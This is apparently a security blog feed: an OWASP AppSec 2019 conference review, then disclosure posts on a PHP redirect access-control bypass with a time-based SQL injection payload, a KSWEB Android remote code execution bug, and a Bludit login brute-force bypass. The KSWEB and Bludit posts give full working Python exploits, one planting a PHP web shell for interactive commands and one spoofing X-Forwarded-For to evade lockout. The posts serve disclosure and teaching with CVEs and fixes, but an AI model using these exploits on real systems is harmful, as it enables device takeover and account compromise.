Having an awesome company isn’t something to take for granted. For me this means quality and diversity of work, culture, work environment and plenty things in between; but the biggest part of that is the investment the company provides you in terms of  self improvement and development. To say that I get spoiled currently is an understatement! Imagine how ecstatic I was to find an OWASP conference that was so close I wouldn’t even need a flight. I usually with puppy eyes ask my boss if it’s possible to attend, he runs it up the flag-pole and soon gives me the okay to book it. This would be my first OWASP conference & training.  The first 3 days there was an assortment of training’s followed by the last 2 day being the actual conference and a CTF. The training course that caught my eye was Seth & Ken’s Excellent Adventures in Code Review. The description read as follow

This was a tough to select since there were training on a bunch of things I was interested in including Serverless Security, API Security, Security in Single Paged App, DevOps Security, and Building a Appsec Program with OWASP. I wish I had like 5 clones and could take them all but such is life. I arrived Sunday night 9/8/2019 after a 3 hour train ride grabbed some food and made sure to get a great nights rest.

Training:

After an introduction from the instructors we were provided a USB (which proved to be safe but everyone questioned) to download the materials.  It included an OVA image of the VM we were going to utilize for the course. Essentially it was just a Ubuntu image pre-loaded with vulnerable application’s source code and ATOM IDE which is pretty slick. A giant portion of this day was determining the scope of code review and building a methodology. Having a solid methodology is uber important since given millions of lines of code to review of an unknown application, various frameworks or unfamiliar language can be a daunting task. A question I’d always ask myself is “where do I begin”. We learned how to perform an application assessment & overview. This is the first step where you profile the application beginning to understand things such as

  • Frameworks & Languages
  • 3rd Party Components
  • Techstack
  • Datastores
  • Checking Framework Documentation
  • Looking for Unit Test
  • Code Comments

Spending the time here proved most important and the most difficult. Naturally the hacker in you wants to start hunting for vulnerabilities and going down rabbit holes. Don’t Do This! Be disciplined is the only I can give you here.

Then comes information gathering

  • Mapping Route and Endpoints
    • We learning how request flow from the routing to authorization functions, processing logic through the DB and back to the user in a number of frameworks
      • Rails
      • NodeJS & Express
      • Django
      • .NET
  • Reviewing authorization decorators
  • Risk brainstorming
  • Sources and Sinks

From this you’ll have a checklist of things to review. That’ the methodology!
Using the information from above we dove into specific areas of the application (which in itself is sorta difficult to find).

  • Authorization
    • Broken Access Controls
    • Sensitive Data Exposure
    • Mass Assignment
    • Business Logic Flaw
  • Authentication
    • Broken Authentication
    • User Enumeration
    • Session Management Issues
    • Authentication Bypass
    • Brute Force Attacks
  • Auditing
    • Sensitive Data Exposure
    • Insufficient Logging & Monitoring
    • Debug Messages
    • Error Handling
    • Information Leakage
  • Injection
    • Injection
    • XXE
    • XXS
    • Redirects
    • SSRF (recently popular I wonder why)
  • Cryptography
    • Lack of Encryption
    • Improper Encryption
    • Insecure Token Generation
  • Configuration Review
    • Security Misconfigurations
    • 3rd Party Libraries, Frameworks, Dependencies

After lunch on the last day we broke off into groups, selected an open source application and followed the process from start to finish. We were hoping for some CVE’s but we didn’t come up with anything shocking. I love when you have practical sessions like this. You’d be surprised how much you learn by doing instead of just listening. All the groups presented their findings to the class at the end.

Conference:

The keynote started off with an pretty amazing guy technical Director of Security from the NSA Neal Ziring – Applying Security Engineering Principles to Complex Composite Systems
Here are some of the talks I attended:

  • A Structured Code Audit Approach to Find Flaws in Highly Audited Webapps
  • Using the OWASP Application Security Verification Standard 4.0 to Secure Your Applications
  • Securing Serverless by Breaking-in
  • Owning the Cloud through SSRF and PDF Generators
  • DevSecOps: Essential Pipeline Tooling to Enable Continuous Security
  • The As, Bs, and Four Cs of Testing Cloud-Native Applications
  • OWASP Serverless Top 10
  • Farewell, WAF – Exploiting SQL Injection from Mutation to Polymorphism

Final Thoughts:

I really enjoyed my first OWASP Application Security conference. In addition to all the technical knowledge gained I always try my best to network and interact with as many people as possible. I can see myself definitely attending again in the future. There was tons of swag being given away, t-shirts, socks, gadgets you name it. I didn’t participate in the CTF because it ran during the same hours as the conference. That was weird because some people solely did the CTF and didn’t see the talks at the conference. I wish it was more SANs like where it’s after hours but such is life.

Best Part:

The best part is literally all the slides, handouts, cheat-sheets are available online! This was so appalling to me I asked them why wasn’t it a locked resource or something password protected.  The answer was, “If you can get all the value  you need without us teaching it we’re useless” in addition we want you to go back and share the information w/ you teams and colleagues. This is the differentiator OWASP is here to protect the masses and knows we are more effective being collaborative and sharing knowledge. I think that was pretty special! So here you are – the github with all the materials, source code and lecture slides! Cheers.

The post OWASP Global AppSec DC 2019 Review appeared first on Certification Chronicles.

Access Control and the PHP Header Function

1 October 2019 at 00:00

Access control issues are noted by many to be something that never seems to get a whole lot less prevalent. Why? Because there is no real way to abstract it and make it automated; unless the developer is working with a framework which contains its own user system. As a result, implementing this will near always be down to the developer, and although it is a simple task, it can be very easy to overlook small mistakes or misinterpret how something will work.

A pattern I have seen a lot of in the past, cropped up again last night when reviewing some open-source projects and felt it was worth reiterating on. That pattern, is using PHP’s header function to initiate redirects when a user is not permitted to be viewing the page.

On the face of it, this pattern sounds fine and from a functional stand point is something you’d want to do. For example, if a user is trying to access a page that they need to be logged in to view, it’d not be user friendly to simply halt execution, you’d want to redirect them to the login page instead.

The problem with this is in the assumption of what is happening in the implementation of the header function. As the name suggests, this function will literally set a HTTP header; meaning code like this is quite common place:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
  }

  if(isset($_GET['id'])) {
    $id = $_GET['id'];
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

For those not overly familiar with PHP, let’s break down lines 5-7. The $_SESSION global is an array of session variables. In a user system, this will typically be used to store the username / user ID of the currently logged in user so that it persists between loading different pages. In this case, the developer has chosen to check if the username session variable exists (to veirfy the user is logged in) and if it isn’t, redirect them back to the home page.

Again, functionally, this sounds great, except a big assumption has been made about the header function. The assumption being that it will end script execution (spoiler: it does not). Any code that proceeds a call to header will still execute, as even if one is to set the Location header in order to facilitate a redirect - it is still completely valid to set content in the body of the response too.

In the project that I found this vulnerability in, all other files that rendered markup to the screen had appropriately handled this scenario, but in this particular file (used for handling post deletions), it had not been. It’s possible this was a simple mistake, or that the author had thought maybe there is no exploitable functionality given that the page instantly redirects. If it was the latter, then it would definitely be the wrong presumption.

You’ll notice on line 11 that there is string interpolation being used to create an SQL query to be executed:

$id = $_GET['id'];
$sql = "DELETE FROM posts WHERE id = '$id'";
$result = mysqli_query($dbcon, $sql);

Although no data is output to the screen and a redirect is initiated, this does not stop us exploiting this. By injecting a call to SLEEP in the id parameter (using the payload 1' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))a)-- a), it is possible to confirm that the injection is there and that we can use a time-based attack due to the response not being sent until the entirety of the PHP file has been executed:

If you take a look at the last timestamp of the request (denoted with a >) and the first timestamp of the response (denoted by a <), you will see there is a 5 second difference - the same as the value specified in the call to SLEEP; confirming the injection can be exploited. This can be further illustrated by throwing SQLmap at it:

To fix the main vulnerability that allowed the bypass of the access control, it took simply adding a call to exit directly after the call to header as can be seen on line 7 of the patched code below:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
    exit();
  }

  if(isset($_GET['id'])) {
    $id = mysqli_real_escape_string($dbcon, $_GET['id']);
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

After applying this (even without fixing the SQL injection), the same curl request will no longer invoke the call to SLEEP as can be seen in the below output:

KSWEB for Android Remote Code Execution

2 October 2019 at 00:00

KSWEB is an Android application used to allow an Android device to act as a web server. Bundled with this mobile application, are several management tools with one-click installers which are installed with predefined sets of credentials.

One of the tools, is a tool developed by the vendor of KSWEB themselves; which is KSWEB Web Interface. This web application allows authenticated users to update several core settings, including the configuration of the various server packages.

As can be seen in the screenshot below (which also shows a local file disclosure via the hostFile parameter), the selected file is made visible in a text editor and the changes can be saved by clicking the button in the top right corner of the editor.

When the save button is hit, a request is sent to the AJAX handler, like this:

POST /includes/ajax/handler.php HTTP/1.1
Host: localhost:8002
Connection: keep-alive
Content-Length: 1912
Authorization: Basic YWRtaW46YWRtaW4=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: cors
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8002
Sec-Fetch-Site: same-origin
Referer: http://localhost:8002/?page=5
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

act=save_config&configFile=%2Fdata%2Fdata%2Fru.kslabs.ksweb%2Fcomponents%2Fmysql%2Fconf%2Fmy.ini&config_text=**long config file content ommitted*

As can be seen in the above request, the full path to the file being written to is found in the configFile field. As there is no whitelist of files that can be written to, and due to the write permissions of the KSWEB Web Interface application directory not being restricted, it is possible to use this to write a PHP file to the /data/data/ru.kslabs.ksweb/components/web/www/ directory, which will provide command execution.

Additionally, KSWEB supports running as root, meaning that if the user has allowed access as root, full control of the device can be gained via this vulnerability, as can be seen in the screenshot of the PoC below:

Play Store Installs

100,000+

Play Store Link

https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&gl=GB

Solution

Upgrade to version 3.94 or later

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-08-27: Vulnerability found, vendor contacted
  • 2019-08-27: CVE requested
  • 2019-08-29: CVE-2019-15766 assigned for the RCE
  • 2019-08-29: Vendor responded to confirm issue will be being fixed in an update
  • 2019-09-10: CVE-2019-16198 assigned for the LFD vulnerability
  • 2019-09-21: Contact vendor to check status of patch
  • 2019-10-01: Version 3.94 released to fix vulnerabilities

Proof of Concept

import requests
import sys

from requests.auth import HTTPBasicAuth

BOLD = '\033[1m'
GREEN = '\033[92m'
FAIL = '\033[93m'
RESET = '\033[0m'

if len(sys.argv) < 2:
    print 'Usage: python {file} target_ip [username] [password]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
password = sys.argv[3] if len(sys.argv) > 2 else 'admin'
host = sys.argv[1]

base_url = ''

def print_action (msg):
    print '{b}{g}[+]{r} {msg}'.format(b = BOLD, g = GREEN, r = RESET, msg = msg)

def print_error (msg):
    print '{b}{f}[!]{r} {msg}'.format(b = BOLD, f = FAIL, r = RESET, msg = msg)

def run_cmd (cmd, hide_output = False):
    r = requests.get('{b}/ksws.php?1={c}'.format(b = base_url, c = cmd), auth=(username, password))

    if not hide_output:
        print r.text.rstrip()

    return r.status_code == 200

print '  _  __ _______          ________ ____     _____ _          _ _ '
print ' | |/ // ____\\ \\        / /  ____|  _ \\   / ____| |        | | |'
print ' | \' /| (___  \\ \\  /\\  / /| |__  | |_) | | (___ | |__   ___| | |'
print ' |  <  \\___ \\  \\ \\/  \\/ / |  __| |  _ <   \\___ \\| \'_ \\ / _ \\ | |'
print ' | . \\ ____) |  \\  /\\  /  | |____| |_) |  ____) | | | |  __/ | |'
print ' |_|\\_\\_____/    \\/  \\/   |______|____/  |_____/|_| |_|\\___|_|_|\n'

port = 8000

print_action('Scanning for WebFace port...')
while port < 8100:
    try:
        r = requests.get('http://{h}:{p}'.format(h = host, p = port))
        if r.status_code == 401 and 'for KSWEB' in r.headers['Server']:
            print_action('Found WebFace on port {p}'.format(p = port))
            break
        else:
            port = port + 1
    except:
        port = port + 1


base_url = 'http://{h}:{p}'.format(h = host, p = port)

try:
    print_action('Testing credentials ({u}:{p})...'.format(u = username, p = password))
    r = requests.get(base_url, auth=(username, password))

    if r.status_code != 200:
        print_error('The specified credentials ({u}:{p}) were invalid'.format(u = username, p = password))
        sys.exit(1)
except:
    print_error('An error occurred connecting to the host')
    sys.exit(2)

print_action('Uploading web shell...')
r = requests.post('{b}/includes/ajax/handler.php'.format(b = base_url), auth=(username, password), data={
        'act': 'save_config',
        'configFile': '/data/data/ru.kslabs.ksweb/components/web/www/ksws.php',
        'config_text': '<?=`$_GET[1]`?>'
    })

print
run_cmd('uname -a')
run_cmd('pwd')

while True:
    cmd = raw_input('$: ')
    if cmd.lower() == 'exit':
        break
    else:
        run_cmd(cmd)

print

print_action('Cleaning up...')
if not run_cmd('rm /data/data/ru.kslabs.ksweb/components/web/www/ksws.php'):
    print_error('Failed to delete the web shell from the target')

Bludit Brute Force Mitigation Bypass

5 October 2019 at 00:00

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

public function getUserIp()
{
  if (getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif (getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } else {
    $ip = getenv('REMOTE_ADDR');
  }
  return $ip;
}

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

{
    "minutesBlocked": 5,
    "numberFailuresAllowed": 10,
    "blackList": {
        "192.168.194.1": {
            "lastFailure": 1570286876,
            "numberFailures": 1
        },
        "10.10.10.10": {
            "lastFailure": 1570286993,
            "numberFailures": 1
        },
        "FakeIp": {
            "lastFailure": 1570287052,
            "numberFailures": 1
        }
    }
}

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Demonstration

Versions Affected

<= 3.9.2

Solution

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

CVSS v3 Vector

AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-10-05: Vulnerability found, pull request opened with fix
  • 2019-10-05: CVE requested
  • 2019-10-05: Patch merged into master branch
  • 2019-10-06: CVE-2019-17240 assigned to issue

Proof of Concept

#!/usr/bin/env python3
import re
import requests

host = 'http://192.168.194.146/bludit'
login_url = host + '/admin/login'
username = 'admin'
wordlist = []

# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
wordlist.append('adminadmin')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

❌
❌